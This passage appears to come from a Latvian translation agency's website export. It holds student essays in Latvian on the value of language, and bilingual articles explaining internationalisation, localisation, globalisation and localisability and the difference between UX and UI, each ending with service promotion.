izdzirdot latviešu valodā runājam kādus garāmgājējus uz ielas. Tā gan bija ļoti reta parādība, bet īpaši patīkama. Tagad arī varu teikt, ka latviešu valoda ir “stilīga”. Un tā nav stilīga tikai ārzemēs, kad, braucot autobusā, ar draugiem tiek sarunāts, ka gadījumā, ja iekāps kontrolieris, man būs jārunā latviski (jo kurš gan saprot latviešu valodu). Latviešu valodai vajadzētu šķist tik pat aizraujošai arī tepat, Latvijā. Šī degsme par mūsu valodu ir atbraukusi ar mani arī atpakaļ no Itālijas un vēl spožāk iedegusies studējot Ventspils Augstskolā. Taču, manuprāt, būtu svarīgi ieaudzināt mazās mīlestības uguntiņas jau skolā. Kā to izdarīt, pagaidām nezinu, jo man pašai bija liela pretestība pret visu, ko man skolā centās iespiest smadzenēs. Valoda tiešām ir viss. Tikai jāsaprot, kā to patiesi novērtēt un parādīt citiem, cik mūsu valoda ir skaista un bagāta. Valoda ir mana iespēja dzīvot, mīlēt un būt lepnai par savu valsti un kultūru. Citas konkursa esejas --- - Published: 2023-04-06 - Modified: 2023-11-21 - URL: https://skrivanek.lv/renates-rodionovas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Renāte Rodionova, Baltijas Starptautiskā akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir iespēja, kas veido mani, manas iespējas un visu, kas man svarīgs. Strauji mainīgajā pasaulē ir svarīgi, lai mums būtu kopīga saziņas valoda, kas mijiedarbojoties ir saprotama ikvienam, lai pēc iespējas labāk izmantotu pieejamos datus un informāciju. Valoda ir gan nacionālās kultūras sistēmu veidojošs, gan indivīda atraisošs elements. Attiecīgi jebkurš bērns, pusaudzis vai pieaugušais var gan dzimtajā valodā, gan svešvalodās izpaust savas domas un pilnveidoties gan vietējā, gan starptautiskā mērogā. Katra valoda ir īpaša un visām ir savi dialekti, akcenti, gramatika, lingvistika, slengs un tās ar laiku mainās, kļūst bagātākas vai izmirst. Ikviena valoda ir kultūras sastāvdaļa, tas ir sabiedrības klimats, kas paplašina redzesloku, dara pieejamāku daudzveidīgāku informāciju un sniedz iespējas sevi pilnveidot. Svešvalodu zināšanas sniedz cilvēkiem daudz priekšrocību - iespēju novērtēt Alunāna, Endzelīna vai Veisberga ieguldījumu latviešu valodas attīstībā, izlasīt Raiņa, Remarka, Puškina vai Šekspīra daiļdarbus oriģinālvalodā, iedvesmoties no S. Kalnietes, D. Meieres vai M. Naumovas, kuri bagātina latviešu sabiedrības kultūras telpu ar savu pieredzi. Valodas primārais mērķis ir saziņa - ar tās palīdzību viens cilvēks otram pastāsta par savām idejām, emocijām vai attieksmi. Sekundārais ir priekšrocības, ko no valodas cilvēks gūst, lai dzīve kļūtu kvalitatīvāka, piesātinātāka un interesantāka. Angļu valoda ir viena no šādām pasaules valodām, kas atbilst abiem minētajiem mērķiem. Angļu valoda tiek uzskatīta par pirmo globālo Lingua Franca. Tā ir kļuvusi par gandrīz katras jomas neatņemamu sastāvdaļu, sākot no biznesa, medicīnas un skaitļošanas līdz izklaidei. Daudzas valstis māca un mudina jauniešus apgūt angļu valodu kā otro valodu. Pat valstīs, kur angļu valoda nav oficiālā valoda, daudzas zinātnes un inženierzinātņu mācību programmas ir rakstītas tieši šinī valodā. Lieli uzņēmumi pieņems darbā profesionālus darbiniekus tikai pēc tam, kad būs noteikuši, vai kandidāts runā labā angļu valodā. Turklāt tā ir oficiālā valoda 53 valstīs, kļūstot par dažādu zināšanu krātuvi, un tās apguve palīdz pārvarēt valodas barjeras, tādējādi palīdzot satikt jaunus cilvēkus, un veicināt pašizaugsmi. Cilvēka smadzenes ir piemērotas daudzvalodībai. Par to liecina kaut vai tas, ka ir tikai 192 valstis, bet pasaulē ir vairāk nekā 6000 valodu, un apmēram 60% cilvēku ir daudzvalodīgi. Fizioloģiskie pētījumi ir atklājuši, ka runāšana divās vai vairākās valodās ir liels ieguvums kognitīvajiem procesiem. Svešvalodas zināšanas paplašina apziņu, uzlabo atmiņu, koncentrēšanās un problēmrisināšanas spējas. Saskaņā ar neirozinātnieces Ariannas Salas pētījumu, "runāšana svešvalodā uzlabo smadzeņu funkcionalitāti, izaicinot tās atpazīt, apspriest nozīmi un sazināties dažādu valodu sistēmās". Prāts mainās, lai spētu saprast jaunus un iepriekš nezināmus jēdzienus. Svešvalodu apguve šajā ziņā ir ārkārtīgi efektīva, jo runājot dažādās valodās smadzenes tiek nodarbinātas daudzpusīgāk. Vairāki pētījumi ir parādījuši, ka arī pacientiem, kuri zina divas valodas, demences simptomi sākās četrus gadus vēlāk nekā cilvēkiem, kuri zina tikai vienu valodu. Valoda ir būtiska daļa no izaugsmes un pašizpausmes. Tā palīdz mums izprast šo pasauli un var ietekmēt to, kā mēs skatāmies un aprakstām pasauli. Svešvalodas veicina atvērtāku un kulturāli jutīgāku domāšanu gan pret savas dzimtenes, gan pret svešām kultūrām. Valoda tiek lietota kā domāšanas līdzeklis vai arī tiek saprasts, ka valoda ir domāšanas “čaula”, kas attīstās mūža garumā un sniedz bezgala daudz iespēju. Citas konkursa esejas --- > What are internationalisation, localisation, globalisation and localisability? Worth reading to avoid getting confused by these translation terms. - Published: 2023-03-27 - Modified: 2025-07-08 - URL: https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/ - Kategorijas: Article, Raksti - Translation Priorities: Optional WHAT IS WHAT? INTERNATIONALISATION (I18N). LOCALISATION (L10N). GLOBALISATION (G11N). LOCALISABILITY (L12Y) In today's era of globalisation and the internet, it has become increasingly easy to expand ideas beyond one's country of origin. However, ensuring that your product or service descriptions resonate with clients from diverse nations and cultures can be a challenge. The acquisition of global customers or partners is highly dependent on the accurate translation of your website, which serves as a direct representation of your company's portfolio and functions as your business card to the international market. Similar to the business world, the translation industry recognises that every obstacle presents an opportunity for a corresponding solution. To avoid any ambiguity in the translation process and get the best solution for your specific needs, it is advisable to familiarise yourself with fundamental terminologies such as internationalisation (i18n), localisation (I10n), globalisation (g11n), and localisability (I12y). WHAT IS INTERNATIONALISATION (I18N)? Internationalisation is the process of creating, developing, or modifying content to make it easily adaptable or localisable for diverse users of different cultural, linguistic, or regional backgrounds. Essentially, the goal of internationalisation is to create content that is universally accessible and can be customised to meet the needs of different target audiences. For example, internationalising website content involves implementing various strategies such as adapting user interface elements (like menu bars) for easy translation, ensuring that icons and visual elements are culturally appropriate, making static texts customisable, and configuring date and time formatting options to align with the user's geographic location. To put it simply, internationalisation aims to design content in such a way that it is adaptable to various cultural, linguistic, and regional contexts while ensuring that the original meaning and intent are not lost in translation. WHAT IS LOCALISATION (I10N)? Localisation is the process of adapting already internationalised content to fit the specific language, cultural, and regional requirements of a target market. This involves translating the text and supplementing the content with location-specific components, such as images, videos, and other cultural references. The main purpose of localisation is to ensure that the content is culturally appropriate and accurately conveys the intended message to the target audience. Essentially, localisation enables a company to communicate with its target audience using phrases, idioms, and expressions that are naturally used within their culture but may not be easily recognised outside of it. An example of localisation would involve translating the website of a foreign manufacturer into Latvian or translating the content of a Latvian e-commerce website into English. In addition to translating text, localisation may also entail adapting visual elements and multimedia content, such as audio clips, to fit the cultural and linguistic norms of the target audience. WHAT IS GLOBALISATION (G11N)? Globalisation is a complex process that goes beyond internationalisation and localisation. It involves adapting content to multiple target audiences simultaneously, such as translating a website into several languages. Globalisation is particularly relevant for large international companies which may require dozens of website versions. A prime example of globalisation is the translation of a Latvian manufacturer's website into German, English, Spanish, French, and Italian. It's worth noting that globalisation and localisation often go hand in hand. For instance, a company may aim to create websites in 30 languages (globalisation), with 10 of them being customised for specific regions (localisation). WHAT IS LOCALISABILITY (I12Y)? Localisability refers to the set of characteristics present in content that makes it suitable for effective localisation. A localisability test is typically conducted to identify potential problem areas in the source material that could cause issues during the localisation process. The goal of this test is to ensure that the content, including its text, images, layouts, and other components, is fully prepared for localisation. HOW CAN SKRIVANEK HELP? Are you looking to create a website that speaks the language of your international customers and partners? Look no further than Skrivanek's team of native speakers from around the world. Our experts can help ensure that your website not only accurately conveys your message but is also engaging and compelling for your target audience in any country. Our range of services includes website translation, as well as audio and video localisation, software localisation, digital marketing content localisation, and Google Ads and SEO translations. Let us help you tailor your message to the specific needs and nuances of local markets. Contact us today to schedule a consultation with one of our native speakers! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit WEBSITE TRANSLATION Translating websites has never been easier! Our specialists will provide optimal translation and localisation solutions to make sure your website suits the needs and local characteristics of your region or market. Read more LOCALISATION OF E-LEARNING CONTENT AND SOLUTIONS People around the world increasingly choose to acquire new skills and knowledge online; therefore, we recommend you not to hesitate with the localisation of your learning content or e-solution in at least some of the most popular languages in the world or in your region. Read more GOOGLE ADS UN SEO TULKOJUMI Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. Read more WEBSITE TRANSLATION Translating websites has never been easier! Our specialists will provide optimal translation and localisation solutions to make sure your website suits the needs and local characteristics of your region or market. Read more LOCALISATION OF E-LEARNING CONTENT AND SOLUTIONS People around the world increasingly choose to acquire new skills and knowledge online; therefore, we recommend you not to hesitate with the localisation of your learning content or e-solution in at least some of the most popular languages in the world or in your region. Read more GOOGLE ADS UN SEO TULKOJUMI Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. Read more Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > What is UX or user experience? What is UI or user interface? What is the difference between UX and UI? How we can help you? - Published: 2023-03-24 - Modified: 2025-07-08 - URL: https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/ - Kategorijas: Article, Raksti - Translation Priorities: Optional WHAT IS UX AND WHAT IS UI? In today's digital age, the ease and style of your company's homepage, online store, or mobile app are just as important as the content itself. A visitor is likely to leave a given page and go to look for a product or service at a competitors, if the content of the page is not available in a language he understands, or if he is not satisfied with the usability and appearance of the website. In the digital world, the latter two characteristics are known as UX (user experience) and UI (user interface). But what do they imply and how do they differ? What role do they play in a digital marketing strategy? Find out more in this article! WHAT IS UX OR USER EXPERIENCE? UX refers to the user experience of a website or app. The purpose of UX design is to make the customer's experience on the website as convenient, quick, intuitive, and enjoyable as possible. The main keyword in UX is ‘usability’ – it is defined as the degree to which a user can use a product successfully to achieve his goals and in addition feel satisfied with it. Respectively, for the website to meet the best UX criteria, it should not only be easy to use and comprehend but also aesthetically and functionally appealing. Since the main goal of UX designers is to convey a positive impression and experience on the website, their first task is to understand the user. This can be done by conducting surveys and interviews, competition research and analysis, and so on. Following that, it is decided what to include in the particular website, what feelings it will evoke, and where and how to guide the visitor. It could be said that the UX designer creates a map of the homepage and the ‘plot’ through which the visitor of the page must travel. An effective UX design will eventually result in a comfortable and pleasant online experience for the user. WHAT IS UI OR USER INTERFACE? The interactive features and overall picture that a visitor sees when accessing a website or mobile app are referred to as the user interface (UI). They include menu parts, navigation buttons, icons, text fields, the design of the homepage itself, etc. The UI designer's job is to take care of the visual design, hierarchy, and interaction of these pieces, as well as to make them work together as a unified whole. The aesthetic factor – colour scheme, fonts, content placement, etc. – also plays a big role in UI design. WHAT IS THE DIFFERENCE BETWEEN UX AND UI? If the UX designer is the architect of the website, the UI designer is in charge of the website's interior. Although many elements on both sides overlap, the distinctions are substantial. For example, many of the UX designer's tasks have nothing to do with graphic design. The UX designer is the strategist in this team – he has to understand the target audience, define the problems they face, and finally present the best solution, aka the product. Respectively, the daily life of a UX designer is related to analytical thinking and even psychology, while the UI designer is the one who will know how to properly design and serve it all to the customer. WHAT IS THE IMPORTANCE OF UX AND UI IN DIGITAL MARKETING? It should come as no surprise that many customers would abandon a website if they are dissatisfied with its usability, design, structure, or content. Every one of us has been a website visitor at some time, such as while exploring the web for daily necessities. When confronted with unstructured material, slow page load times, or out-of-date design, we will abandon a site in favour of another that can provide the same information in a more appealing, comprehensible, or straightforward manner. Therefore, while considering the company's digital marketing strategy, the improvement of the user experience should be prioritised – because that's exactly what allows you to contact the potential consumer to prolong the dialogue and gradually reach a deal. As a result, UI and UX are employed in tandem as components of a digital marketing strategy. This teamwork begins with the customer's journey on the website, which brings them seamlessly towards their goal, such as making a purchase or reservation. This process is the UX component. Yet, for the visitor to not abandon the website in the first seconds, it is required to create a nice first impression with the aid of graphic design, as well as take care of structured content and CTA (call to action) buttons that promote action – this is part of the UI. Eventually, every stage of a website's journey must be customer-centric, and UI/UX designers endeavour to achieve this aim. HOW CAN SKRIVANEK HELP? Skrivanek's native speakers from all over the world will be delighted to provide feedback on the UX and UI experience for foreign language versions of your website or app, as well as advice on language-specific and unique word combinations and their meanings, cross-cultural differences, digital etiquette, and help defining and creating your brand voice. Contact us right now if you need a native speaker consultation! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit WEBSITE TRANSLATION Translating websites has never been easier! Our specialists will provide optimal translation and localisation solutions to make sure your website suits the needs and local characteristics of your region or market. Read more LOCALISATION OF E-LEARNING CONTENT AND SOLUTIONS People around the world increasingly choose to acquire new skills and knowledge online; therefore, we recommend you not to hesitate with the localisation of your learning content or e-solution in at least some of the most popular languages in the world or in your region. Read more GOOGLE ADS AND SEO TRANSLATIONS Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. Read more WEBSITE TRANSLATION Translating websites has never been easier! Our specialists will provide optimal translation and localisation solutions to make sure your website suits the needs and local characteristics of your region or market. Read more LOCALISATION OF E-LEARNING CONTENT AND SOLUTIONS People around the world increasingly choose to acquire new skills and knowledge online; therefore, we recommend you not to hesitate with the localisation of your learning content or e-solution in at least some of the most popular languages in the world or in your region. Read more GOOGLE ADS AND SEO TRANSLATIONS Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. Read more Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Kas ir internacionalizācija, lokalizācija, globalizācija un lokalizējamība? Vērts izlasīt, lai neapjuktu šajos tulkojumu terminos. - Published: 2023-03-24 - Modified: 2025-07-15 - URL: https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR KAS – INTERNATIONALIZATION (I18N), LOCALIZATION (L10N), GLOBALIZATION (G11N) UN LOCALIZABILITY (L12Y) Mūsdienu globalizācijas un interneta laikmetā ir tik vienkārši realizēt idejas ārpus savas valsts robežām. Taču kā būt drošam, ka produkta vai pakalpojuma apraksti uzrunās citu valstu un kultūru pārstāvjus? Starptautisko klientu vai sadarbības partneru piesaiste lielā mērā ir atkarīga no mājaslapas – uzņēmuma vizītkartes un produkta vai pakalpojuma prezentācijas – un tās satura tulkojuma precizitātes. Taču gluži kā uzņēmējdarbībā, arī tulkošanā katrai problēmai ir savs atsevišķs risinājums. Tādēļ, lai neapjuktu tulkojumu terminos un spētu izvēlēties savai situācijai piemērotāko risinājumu, vērts iepazīties ar jēdzieniem internacionalizācija (i18n), lokalizācija (I10n), globalizācija (g11n) un lokalizējamība (I12y). KAS IR INTERNACIONALIZĀCIJA (I18N)? Internacionalizācija ir tāda satura izstrāde, radīšana vai pārveidošana, kas pēcāk būs viegli lokalizējams jeb pielāgojams dažādiem lietotājiem ar atšķirīgām kultūrām, valodām un reģioniem. Respektīvi, tā ir universāla jeb internacionāla satura izveide, ko vēlāk iespējams viegli pielāgot atšķirīgām mērķauditorijām. Piemēram, mājaslapas satura internacionalizācija nozīmētu pielāgot lietotāja saskarnes elementus (izvēlnes) tā, lai tie būtu viegli tulkojami, pārliecināties, vai ikonas un vizuālie elementi ir pieņemami visās kultūrās, padarīt statiskos tekstus pielāgojamus, iestatīt datumu un laiku formatēšanas iespēju atbilstoši lietotāja lokācijai u. tml. KAS IR LOKALIZĀCIJA (I10N)? Lokalizācija ir jau internacionalizēta satura pielāgošana noteiktam reģionam vai valodai – to paveic, tulkojot tekstu un papildinot saturu ar lokalizācijai raksturīgiem komponentiem. Lokalizācijas mērķis ir panākt to, lai saturs atbilst konkrētā mērķa tirgus valodai, kultūrai un citām prasībām. Respektīvi, lokalizācija palīdz nodot uzņēmuma vēstījumu ar vārdiem, frāzēm un izteicieniem, kas citā kultūrā tiek lietoti dabiski, taču ir grūti identificējami ārpus konkrētās kultūras. Uzskatāms lokalizācijas piemērs būtu ārzemju ražotāja mājaslapas tulkošana latviešu valodā vai Latvijas e-veikala satura tulkošana angļu valodā. Tāpat, ja nepieciešams, šajā gadījumā mājaslapā tiktu lokalizēti vizuālie elementi, tulkoti ne tikai teksti, bet arī audio fragmenti u. tml. KAS IR GLOBALIZĀCIJA (G11N)? Globalizācija, atšķirībā no internacionalizācijas un lokalizācijas, ir sarežģītāks process, jo paredz satura pielāgošanu vairākām mērķauditorijām vienlaicīgi, piemēram, mājaslapas tulkojumu vairākās valodās. Globalizācija ir īpaši aktuāla lieliem starptautiskajiem uzņēmumiem, kuriem var būt nepieciešamas pat 20–30 vietņu versijas. Uzskatāms globalizācijas piemērs ir Latvijas ražotāja mājaslapas tulkojums vācu, angļu, spāņu, franču un itāļu valodā. Tāpat vērts pieminēt, ka globalizācija un lokalizācija bieži vien tiek lietotas vienkopus – piemēram, uzņēmums vēlas izveidot mājaslapas 30 valodās (globalizācija), tostarp 10 no vietnēm īpaši pielāgojot attiecīgajam reģionam (lokalizācija). KAS IR LOKALIZĒJAMĪBA (I12Y)? Lokalizējamība ir saturā atrodami raksturlielumi, kas nodrošina iespēju veikt efektīvu lokalizāciju. Lokalizējamība parasti tiek veikta kā pārbaude, kuras laikā avota materiālā tiek identificēti elementi, kas varētu izraisīt lokalizācijas (satura pielāgošanas konkrētajam mērķa tirgum) problēmas. Lokalizējamības pārbaudes mērķis ir nodrošināt, ka saturs – teksts, attēli, izkārtojumi u. c. – ir gatavi lokalizācijai. KĀ VAR PALĪDZĒT SKRIVANEK? Vēlaties, lai ārzemju klienti un partneri uztvertu jūsu tīmekļa vietni tā, it kā tā būtu oriģināli izstrādāta viņu dzimtajā valodā? Skrivanek dzimtās valodas runātāji no visas pasaules labprāt parūpēsies par to, lai jūsu mājaslapa būtu saprotama, piesaistoša un interesanta paredzētajai mērķauditorijai jebkurā valstī. Mūsu speciālisti nodrošina ne vien tādus pakalpojumus kā mājaslapu tulkošana, bet arī audio un video failu lokalizāciju, programmatūras lokalizāciju, digitālā mārketinga satura lokalizāciju, Google Ads un SEO tulkojumus. Ar lielāko prieku palīdzēsim nodrošināt, ka jūsu vēstījums tiks adaptēts atbilstoši vietējā tirgus specifikai! Ja vēlaties dzimtās valodas runātāja konsultāciju jau tagad, sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt MĀJASLAPAS TULKOŠANA UN LOKALIZĒŠANA Mājaslapas tulkošana un lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Vairāk E-KOMERCIJA – INTERNETA VEIKALU TULKOŠANA UN LOKALIZĒŠANA Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. Vairāk GOOGLE ADS UN SEO TULKOJUMI Mājaslapas konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu mājaslapu, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. Vairāk MĀJASLAPAS TULKOŠANA UN LOKALIZĒŠANA Mājaslapas tulkošana un lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Vairāk E-KOMERCIJA – INTERNETA VEIKALU TULKOŠANA UN LOKALIZĒŠANA Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. Vairāk GOOGLE ADS UN SEO TULKOJUMI Mājaslapas konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu mājaslapu, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. Vairāk --- > Kāda ir atšķirība starp UX un UI? Kāda ir to nozīme digitālajā mārketingā un kā tulkošanas birojs Skrivanek jums var palīdzēt? Uzziniet šeit. - Published: 2023-03-23 - Modified: 2025-07-15 - URL: https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR UX UN KAS IR UI? Mūsdienu digitālajā laikmetā liela nozīme ir ne vien pārdošanas vietnes (jeb mājaslapas vai mobilās lietotnes) saturam, bet arī tās ērtībai un dizainam. Apmeklētājs, visticamāk, pametīs konkrēto lapu un dosies meklēt preci vai pakalpojumu pie konkurentiem, ja viņu neapmierinās mājaslapas izskats un lietojamība, saturs nebūs pieejams viņam saprotamā valodā. Digitālajā vidē šos divus faktorus apzīmē ar saīsinājumiem UX (lietotāja pieredze) un UI (lietotāja saskarne), taču ko īsti tie nozīmē un kā atšķiras? Kāda loma tiem ir digitālā mārketinga stratēģijā? Noskaidro turpinājumā! KAS IR UX JEB USER EXPERIENCE? UX (user experience) ir lietotāja pieredze konkrētajā tīmekļa vietnē vai lietotnē. UX dizaina mērķis ir padarīt klienta pieredzi interneta vietnē pēc iespējas ērtāku, vienkāršāku, ātrāku, saprotamāku un patīkamāku. Lietojamību var definēt, kā pakāpi, kura nosaka, cik lielā mērā lietotājs var efektīvi izmantot produktu savu mērķu sasniegšanai un justies apmierināts ar to. Respektīvi, lai mājaslapa atbilstu labākajiem UX kritērijiem, tai jābūt ne vien ērti lietojamai un saprotamai, bet arī estētiski un funkcionāli baudāmai. UX dizaineru galvenais mērķis ir radīt patīkamu iespaidu un pieredzi tīmekļa vietnē, tādēļ pirmais UX dizaineru darba uzdevums ir izprast lietotāju – piemēram, veicot aptaujas un intervijas, konkurentu izpēti un analīzi u. tml. Tālāk tiek lemts par to, ko iekļaut konkrētajā tīmekļa vietnē, kādas sajūtas tas radīs, kur un kādā veidā vadīt apmeklētāju. Varētu teikt, ka UX dizaineris projektē mājaslapas karti un “sižetu”, caur kuru būs jāiziet lapas apmeklētājam. Labs UX dizains gala rezultātā lietotājam radīs ērtu un patīkamu pieredzi interneta vietnē. KĀDA IR ATŠĶIRĪBA STARP UX UN UI? Ja UX dizaineris ir tīmekļa vietnes arhitekts, tad UI dizaineris rūpējas par mājaslapas interjeru. Lai gan abās pusēs daudzas funkcijas pārklājas, atšķirības ir ļoti būtiskas. Piemēram, liela daļa no UX dizainera pienākumiem nemaz nav saistīti ar grafisko dizainu. UX dizaineris šajā komandā ir stratēģis – viņam ir jāizprot mērķauditorija, jādefinē problēmas, ar kurām tā saskaras, un jāpasniedz labākais risinājums jeb produkts. Respektīvi, UX dizainera ikdiena ir saistīta ar analītisko domāšanu un pat psiholoģiju, savukārt tieši UI dizaineris ir tas, kurš dienas beigās mācēs to visu atbilstoši noformēt. KĀDA IR UX UN UI NOZĪME DIGITĀLAJĀ MĀRKETINGĀ? Nav jābrīnās, uzzinot, ka liela daļa klientu pametīs mājaslapu, ja viņus neapmierinās tās lietojamība, dizains, struktūra vai saturs. Ikviens no mums ir lapas lietotājs kādā brīdi, piemēram, meklējot informāciju tīmeklī ikdienas vajadzībām. Saskaroties ar nestrukturētu saturu, ilgu lapas ielādes laiku vai novecojušu dizainu, arī mēs atstāsim tādu vietni un dosimies uz citu, kas spēs piedāvāt šo pašu informāciju pievilcīgākā, saprotamākā vai pārskatāmākā formātā. Līdz ar to, domājot par uzņēmuma digitālā mārketinga stratēģiju, lietotāju pieredzes uzlabošana ir jāizvirza kā prioritāte – tieši tā dod iespēju uzrunāt potenciālo klientu, lai veidotu sarunu tālāk un pamazām nonāktu līdz darījumam. Šī iemesla dēļ UI un UX kā digitālā mārketinga stratēģijas elementi tiek lietoti kopā. Šāds komandas darbs sākas ar klienta ceļu mājaslapā, kas bez aizķeršanās ved viņu uz galamērķi, piemēram, pirkuma vai rezervācijas veikšanu – jeb UX daļu. Taču, lai apmeklētājs nepamestu mājaslapu jau pirmajās sekundēs, ir jārada patīkams pirmais iespaids ar vizuālā noformējuma palīdzību, kā arī jārūpējas par strukturētu saturu un CTA (call to action) pogām, kas mudina uz rīcību – šī ir UI daļa. Respektīvi, ikkatram ceļa posmam mājaslapā ir jābūt orientētam un klientu, un UI/UX dizaineri strādā, lai sasniegtu šo mērķi. KĀ VAR PALĪDZĒT SKRIVANEK? Skrivanek dzimtās valodas runātāji no visas pasaules ar prieku sniegs atgriezenisko saiti par viņu UX un UI pieredzi jūsu tīmekļa vietnes vai lietotnes svešvalodu versijās, konsultēs par konkrētajai valodai unikālajiem un raksturīgajiem vārdu savienojumiem un to nozīmēm, starpkultūru atšķirībām, digitālo etiķeti, kā arī palīdzēs definēt un izveidot jūsu zīmola balsi. Ja vēlies dzimtās valodas runātāja konsultāciju jau tagad, sazinies ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt MĀJASLAPAS TULKOŠANA UN LOKALIZĒŠANA Mājaslapas tulkošana un 